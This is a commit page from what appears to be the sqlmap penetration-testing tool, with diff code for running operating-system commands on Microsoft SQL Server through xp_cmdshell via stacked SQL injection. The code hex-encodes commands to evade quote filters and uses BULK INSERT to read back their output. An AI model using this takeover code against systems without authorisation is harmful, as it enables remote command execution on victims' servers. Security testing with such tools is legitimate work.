Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 25eca9d

Browse files
committed
finally got this working on MSSQL 2005: commands can now be executed as another user (BULK INSERT must be used in such case, see comments in the code) - issue #34
1 parent de33a12 commit 25eca9d

2 files changed

Lines changed: 22 additions & 2 deletions

File tree

lib/takeover/xp_cmdshell.py

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -105,7 +105,9 @@ def __xpCmdshellTest(self):
105105
logger.info("testing if xp_cmdshell extended procedure is usable")
106106
output = self.xpCmdshellEvalCmd("echo 1")
107107

108-
if isNoneValue(output):
108+
if output == "1":
109+
logger.info("xp_cmdshell extended procedure is usable")
110+
elif isNoneValue(output):
109111
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
110112
errMsg += "storing console output within the back-end file system "
111113
errMsg += "does not have writing permissions for the DBMS process. "
@@ -148,15 +150,27 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
148150
self.xpCmdshellExecCmd(cmd)
149151

150152
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
151-
if conf.dCred:
153+
# When user provides DBMS credentials (with --dbms-cred) we need to
154+
# redirect the command standard output to a temporary file in order
155+
# to retrieve it afterwards
156+
# NOTE: this does not need to be done when the command is 'del' to
157+
# delete the temporary file
158+
if conf.dCred and insertIntoTable:
152159
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
153160
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
154161

162+
# Obfuscate the command to execute, also useful to bypass filters
163+
# on single-quotes
155164
self.__randStr = randomStr(lowercase=True)
156165
self.__cmd = "0x%s" % hexencode(cmd)
157166
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
158167
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
159168

169+
# Insert the command standard output into a support table,
170+
# 'sqlmapoutput', except when DBMS credentials are provided because
171+
# it does not work unfortunately, BULK INSERT needs to be used to
172+
# retrieve the output when OPENROWSET is used hence the redirection
173+
# to a temporary file from above
160174
if insertIntoTable and not conf.dCred:
161175
self.__forgedCmd += "INSERT INTO %s " % insertIntoTable
162176

@@ -185,6 +199,10 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
185199
else:
186200
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
187201

202+
# When user provides DBMS credentials (with --dbms-cred), the
203+
# command standard output is redirected to a temporary file
204+
# The file needs to be copied to the support table,
205+
# 'sqlmapoutput'
188206
if conf.dCred:
189207
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
190208
self.delRemoteFile(self.tmpFile)

plugins/generic/takeover.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,7 @@ def osCmd(self):
5353
errMsg += "the back-end DBMS"
5454
raise sqlmapNotVulnerableException(errMsg)
5555

56+
self.getRemoteTempPath()
5657
self.initEnv(web=web)
5758

5859
if not web or (web and self.webBackdoorUrl is not None):
@@ -75,6 +76,7 @@ def osShell(self):
7576
errMsg += "stacked queries SQL injection is not supported"
7677
raise sqlmapNotVulnerableException(errMsg)
7778

79+
self.getRemoteTempPath()
7880
self.initEnv(web=web)
7981

8082
if not web or (web and self.webBackdoorUrl is not None):

0 commit comments

Comments
 (0)